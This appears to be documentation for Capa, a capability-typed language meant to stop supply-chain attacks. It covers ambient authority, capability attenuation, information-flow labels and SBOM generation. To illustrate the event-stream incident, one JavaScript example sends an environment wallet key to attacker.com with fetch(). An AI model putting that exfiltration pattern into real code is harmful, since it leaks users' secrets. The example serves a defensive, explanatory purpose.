The problem: ambient authority
In Python, server-side JavaScript (Node.js), Java, Go, C#, Ruby, and almost every mainstream language, any function in any module has the same baseline access as any other function in the same process. It can open sockets, read your filesystem, leak environment variables, spawn subprocesses, change directory, all without any of that being visible in its signature.
This is called ambient authority. The authority is in the surrounding environment (the process, the runtime), not in the values the function holds. A function does not need to ask for a network handle to make a network request; the network is just there.
For decades, ambient authority was treated as a convenience, not a hazard. The cost shows up the moment a dependency does something its public API never claimed: the language has no way to tell, and no way to refuse. Capa's premise is that this gap belongs in the type system, not in policy scanners.
Three of those languages did once ship an opt-in, in-language way to restrict this authority, and all three have since backed it out. Java's SecurityManager was deprecated in JDK 17 and permanently disabled in JDK 24; .NET's Code Access Security (partial trust) is unsupported in .NET 5 and later; Ruby's $SAFE has been a no-op since Ruby 3.0. Each bolted a restriction onto an always-ambient default rather than starting from confinement, and each was abandoned. The gap does not close by retrofit; it closes by construction.
A concrete example: event-stream
In November 2018, the npm package event-stream (~2 million weekly downloads) shipped a Bitcoin-wallet-stealing payload into the Copay wallet app. A new maintainer added an obfuscated dependency, flatmap-stream, that activated only inside Copay's bundle and exfiltrated wallet keys to a remote server.
The library was nominally a pure stream transformation utility. Its public API said nothing about the network, the filesystem, or the environment. But the JavaScript runtime gave the library ambient authority over all three, and that gap between contract and capability is what the attack exploited.
In JavaScript, the attack hides inside this signature:
function flatMap(input, f) {
// The signature says: pure stream transformation.
// The implementation can do anything.
fetch('https://attacker.com', {
body: process.env.WALLET_KEY,
});
// ...transform input...
}
In Capa, the same function:
fun flat_map(
lines: List<String>,
f: Fun(String) -> List<String>
) -> List<String>
# `net` and `env` are not in scope.
# The compiler rejects any attempt to use them.
...
In the Capa version, the names net and env are not visible inside the function body. They were not declared as parameters. Trying to use them is a compile error:
error: undefined name 'net'
3 | net.get("https://attacker.com")
^
error: undefined name 'env'
4 | env.get("WALLET_KEY")
^
To mount the attack, the malicious maintainer would have to change the signature of flat_map to take a Net and an Env. Every caller in the dependency tree would then have to thread those capabilities through. The change is loud: it appears in pull requests, dependency-upgrade diffs, code review, and SBOM analyses. It is exactly the kind of signal an auditor, human or automated, can act on.
A complete walkthrough of the incident, with primary sources and the full Capa version, is at the event-stream demo.
The discipline, in three layers
Capa's capability discipline is enforced at three layers. None is sufficient on its own; together they give a strong v1 approximation to a linear type system.
Structural
Capabilities can appear only as function parameters, never as struct fields, variant payloads, return types, constants, locals, or generic args.
// Rejected:
type Service {
stdio: Stdio,
name: String
}
// error: capability 'Stdio'
// cannot be a struct field
Flow
The same capability cannot be passed as two arguments of one call. Declared capability parameters must be used (or prefixed with _).
fun main(stdio: Stdio)
f(stdio, stdio)
// error: 'stdio' cannot be
// aliased across arguments
Linear
The consume keyword marks parameters that take ownership. Fork/merge tracking handles branches and loops.
fun close(consume f: File)
...
fun use(f: File)
close(f)
f.read()
// error: 'f' was consumed
Capabilities can be attenuated
A capability is not all-or-nothing. Net.restrict_to(host) returns a fresh Net with authority narrowed to a single host. Restrictions only narrow: chaining two restrict_to calls intersects their allowed-host sets, never widens. The runtime check fires before any system call, so a blocked host never opens a socket.
fun fetch_user(net: Net, id: String) -> Result<String, IoError>
return net.get("https://api.example.com/users/${id}")
fun main(net: Net, stdio: Stdio)
# Narrow the network capability before handing it down.
let api = net.restrict_to("api.example.com")
match fetch_user(api, "42")
Ok(body) -> stdio.println(body)
Err(e) -> stdio.eprintln("${e}")
fetch_user receives the attenuated capability. It cannot reach evil.example.com even if its implementation tried; the runtime short-circuits with an Err before any network call. The chain of authority from main downward is visible at every link.
Libraries declare their own capabilities
Capa is not limited to the built-in capabilities Stdio, Fs, Net, Env, Proc, Clock, Random, Db, Serve, and Unsafe. A library can declare its own (SendEmail, QueryDB, PublishMessage) and the discipline applies uniformly.
capability SendEmail
fun send(self, to: String, subject: String, body: String) -> Result<Unit, IoError>
type SmtpMailer { server: String, net: Net }
impl SendEmail for SmtpMailer
fun send(self, to: String, subject: String, body: String) -> Result<Unit, IoError>
...
fun welcome(mailer: SendEmail, to: String) -> Result<Unit, IoError>
return mailer.send(to, "Welcome", "Hello!")
A function that takes a SendEmail can send email, and the type system guarantees that is the only thing the capability carries. No hidden Net, no hidden Fs. A higher-level library can encapsulate the low-level capabilities its implementation needs and expose only the higher-level contract to its callers.
The other axis: where data is allowed to flow
Capabilities control which effects a function may exercise. Information-flow control (IFC) controls where data may flow. Together they answer a question no mainstream language answers by construction: can this function read secret X and send it over the network?
Capa carries a two-point security lattice: @public sits below @secret. You annotate the types, parameters, or struct fields that hold sensitive data, and the compiler tracks the rest.
fun handle(net: Net, token: @secret String)
# `greeting` becomes @secret by join: a public
# string interpolated with a secret is secret.
let greeting = "Bearer ${token}"
net.post("https://api.example.com", greeting)
# information-flow violation: a @secret value
# reaches Net.post, a public sink
Labels propagate automatically by join through every derived value: arithmetic, string interpolation, field reads. A function call with a secret argument returns a secret. And the most common exfiltration source is secret by default: env.get(...) returns @secret with no annotation at all, which covers the API-key and prompt-injection leak case out of the box.
The sinks are the points where data leaves the program: Stdio.print, Net.get / post, Fs.write, Db.exec / query, and Serve.send (its payload argument only, not the connection id, which the runtime issued rather than the program). A @secret value reaching any of them is an information-flow violation, reported at compile time.
There is a second built-in source, and its label needs stating plainly. Serve.recv, the bytes of an inbound request, is the language's one inbound source, and it is @public. This lattice models confidentiality, not integrity or taint. @public on an attacker-controlled inbound request asserts only that it is not a secret whose disclosure the analysis must prevent; it asserts nothing about the data being trustworthy, well-formed, or safe to act on. Validate it as you would in any language. Labelling it @secret would encode an integrity property in a confidentiality lattice, whose immediate effect is that echoing a request back to the client that sent it, the normal case for a server, is reported as a violation. Integrity tracking would be a second lattice, not a relabelling of this one.
The policy is warn-then-enforce: a warning by default, and a hard error under the @strict_ifc() function attribute. Under @strict_ifc, the compiler also catches implicit flows: a sink inside a branch guarded by a secret condition, where the secret leaks through control flow rather than data.
The single sanctioned way to move a secret to public is declassify, and it demands a named reason:
let masked = declassify(mask_card(card), reason: "PCI: only last 4 digits retained")
stdio.println(masked)
Every declassify site is recorded in the SBOM as declassification_sites, with its reason, value, and source position, generated by the compiler. That is a machine-checkable record of exactly where, and why, a program discloses sensitive data.
Within a single function body, secrets do not launder through containers. A secret stashed in a struct, list, or tuple literal, or in a mutable Map / Set / List, or iterated over in a for loop, stays secret. The label follows the data.
What the check does not catch
Label tracking does not cross a function boundary implicitly: a value carries its @secret label into a callee only through a parameter explicitly declared @secret. What it does track, since 1.20.0, is a container the callee mutates through such a parameter. A callee declared fun stash(bag: List<String>, s: @secret String) whose body is bag.push(s), with the caller then reading that container into a public sink, is flagged exactly as the identical bag.push(key) written inline is: a warning by default, a hard error under @strict_ifc. Earlier releases produced no diagnostic for the callee form.
Two further boundaries. At the default tier a violation is a warning: capa --check prints it and still exits 0, and implicit flows (a sink inside a branch guarded by a secret condition) are not reported at all. Only @strict_ifc makes the flow an error and turns implicit-flow checking on. And a struct field declared @secret keeps its label per-field, but a runtime secret stashed into an undeclared field, or any secret inside a list/map/tuple, is tracked at whole-aggregate granularity; finer per-element precision remains future work. The per-field precision landed in 1.2.0 as part of a soundness-hardening pass, documented in a published security advisory, and a further pass in 1.15 closed additional cross-boundary laundering classes, including free-function return values, @secret module constants, capture by lambda, and two-hop closure-by-name.
A worked example is capa_paymentguard, a payment-security core (PCI DSS / PSD2) whose entry points are annotated @strict_ifc, so a card number reaching a log line or a network call there is a compile error unless it is masked through declassify, and the SBOM lists every disclosure point.
Where the type system can take you next
Capa is a capability-typed language; dialects of that idea exist in Pony, Koka, the WebAssembly Component Model, and elsewhere. The most recent entrant is Zero (Vercel Labs, May 2026), a systems language whose distinctive choice is a toolchain that emits stable error codes and typed repair categories so AI agents can read and repair code without a human in the loop. Zero's audience is the AI-agent toolchain; Capa's audience is the supply-chain auditor. Same intellectual root, different application.
What Capa adds is that, because the authority graph already lives in the type system, the compiler can emit standard supply-chain artefacts from source without an external scanner approximating the same information from binaries or heuristics. The same compile that rejects ambient authority can also produce, in one pass:
- --manifest: Capa-native JSON describing per-function authority, attached metadata, and the call graph.
- --cyclonedx: a valid CycloneDX 1.5 SBOM with capability metadata embedded as standard properties[].
- --spdx: the SPDX 2.3 companion. Same content, different schema; pick whichever your downstream consumer standardises on.
- --vex: CycloneDX VEX with per-function exploitability claims driven by a @vex attribute. "This CVE is in our SBOM, but this function is not_affected because the path is unreachable" becomes a machine-readable claim.
- --provenance: a SLSA Build L1 provenance attestation (in-toto Statement v1 + SLSA Provenance v1.0) binding the artefact to the SHA-256 of its source.
The same content shows up downstream in whatever process needs it: dependency review, audit, regulator-facing evidence under CRA / NIS2 / DORA / NIST SSDF / OWASP SCVS. The mapping across those frameworks lives on the regulatory page. Capa's contribution at the language layer is the discipline itself; the emitters are a consequence of having the information in the right place.
Adding a provable Capa piece to your existing stack
Nobody rewrites a working service in a new language, and Capa does not ask you to. The realistic way to adopt it is to carve out one component that has to be provable and leave the rest of your stack exactly where it is. Two company-facing needs fit that shape today: software auditing and SBOM, and secrets handling. This is a complement, not a replacement.
The fully-real piece: source-level audit artefacts
Write the component you want to be accountable for in Capa, and the same compile that checks the capability discipline emits its supply-chain evidence. None of this needs a runtime, a Wasm toolchain, or a network connection:
- capa --manifest: a per-function record, listing each function's declared_capabilities, the provably_excluded_capabilities it can never reach, and an authority_provable_from_types flag.
- capa --manifest-digest: the same manifest wrapped in a content_integrity envelope (canonical bytes, SHA-256), with the verify procedure written into the document itself. The compiler holds no keys and never signs; the signature slot is left open for you (SLSA Build L1).
- capa --cyclonedx: a CycloneDX 1.5 SBOM with the capability data embedded, plus --spdx, --vex and --provenance from the same compile.
- capa --compose-sbom: a product-wide roll-up across a multi-package project.
- capa --check-capabilities: a CI gate. It fails with a non-zero exit if any function reaches an authority outside the max = [...] or pure = true ceiling declared in capa.toml.
Because the manifest is derived from the source, a third party who holds the source and the compiler can recompute the digest and confirm it independently. The claim is not "trust our scanner"; it is "re-run the compiler and check the bytes."
The gate is what makes this usable in CI. Declare the ceiling once, and a dependency bump or a refactor that quietly introduces Net fails the build with the offending authority named:
capa: --check-capabilities: FAILED - 1 ceiling violation(s):
- package 'gatecheck' declares max=['Stdio'] but its own code introduces 'Net'
Calling a Capa check from another language
A Capa function compiles to a WebAssembly Component Model component (capa --wasm --component), which a Component-Model-aware host can instantiate. A component built this way has been called end-to-end from Python (wasmtime-py), JavaScript (jco), Rust (the wasmtime crate), and C or C++ (the official Wasmtime C API). Two things bound what the boundary buys you, and both are worth stating plainly.
The shape is a yes/no check, not an arbitrary function. The component exports exactly main. Its inputs are capability handles, not data: a value the check needs arrives through a capability such as Env, never as a string argument. Its return is a single scalar, one of Int, Float, Bool, or Unit. A String return is refused:
capa: --wit: main returning 'String' is not supported by the WASM
component backend; return a scalar (Int / Float / Bool) or Unit
So the honest use is: compile a security decision into a component and get a yes/no answer back. An Env-fed token check that returns Bool is the canonical shape. Its whole interface is a capability handle in, a scalar out:
interface env {
get: func(handle: u32, name: string) -> option<string>;
}
world program {
import env;
export main: func(cap0-env: u32) -> bool;
}
One bound survives to any host; the finer ones do not. A component can import only the interfaces its WIT declares, and the runtime gives it nothing else. So the coarse authority bound (this component can touch Env and nothing else, no Net, no Fs) holds in any Component-Model host, including a foreign one. What does not cross the boundary automatically is the finer machinery. Capability attenuation (restrict_to on Net / Fs, restrict_to_keys on Env) does appear at the boundary as an interface call, but its enforcement lives in the host's implementation of the handle table, which Capa's own host provides. A naive foreign host that reimplements the interface and ignores the narrowing will hand back a value Capa's host would have denied. And @secret is a source-level analysis with no representation at the component boundary: the component carries no labels and enforces none. Both properties are real, and both are Capa-host or source-level properties, not something the emitted binary imposes on an arbitrary host.
What this needs today
- The host side is not documented yet. A foreign host must hand-implement the capa:host/* interfaces the component imports (for the token check above, capa:host/env). There is no drop-in host binding shipped.
- The Wasm path needs external tools. wasm-tools and a Component-Model runtime must be present; these are not Python dependencies that pip pulls in.
- Auditing is over the source, not a handed-over binary. The provenance subject is the SHA-256 of the source file, and there is no attested link binding a manifest or provenance to a specific deployed .wasm. Reproduce and verify from the source you were given.
You keep your stack. You add one Capa piece where being able to prove the authority surface, or hand an auditor a manifest they can recompute, is worth more than the convenience of writing that piece inline.
What Capa does not solve
To be honest about the limits:
- A capability holder with bad intent is still dangerous. If a library legitimately needs Net and ships a malicious version, the language cannot tell a legitimate request from a malicious one. The discipline narrows where attacks can hide; attenuation (restrict_to) reduces this further.
- The Python interop boundary is a risk. Anything crossing into Python via py_import / py_invoke loses Capa's guarantees. The boundary is gated by Unsafe so it is explicit, but the loss is real.
- Capa is not a sandbox. A determined attacker with process-level access can do things the language cannot prevent. Capa raises the bar at the source level, where most supply-chain attacks live.
- Capa is not a replacement for SBOM/SCA tooling. They are complementary: SBOMs tell you what components are present; Capa tells you what each is allowed to do.
For an honest comparison with adjacent languages and tools (Pony, Koka, Roc, the WebAssembly Component Model), and a precise statement of what is and is not unique about Capa, see docs/positioning.md.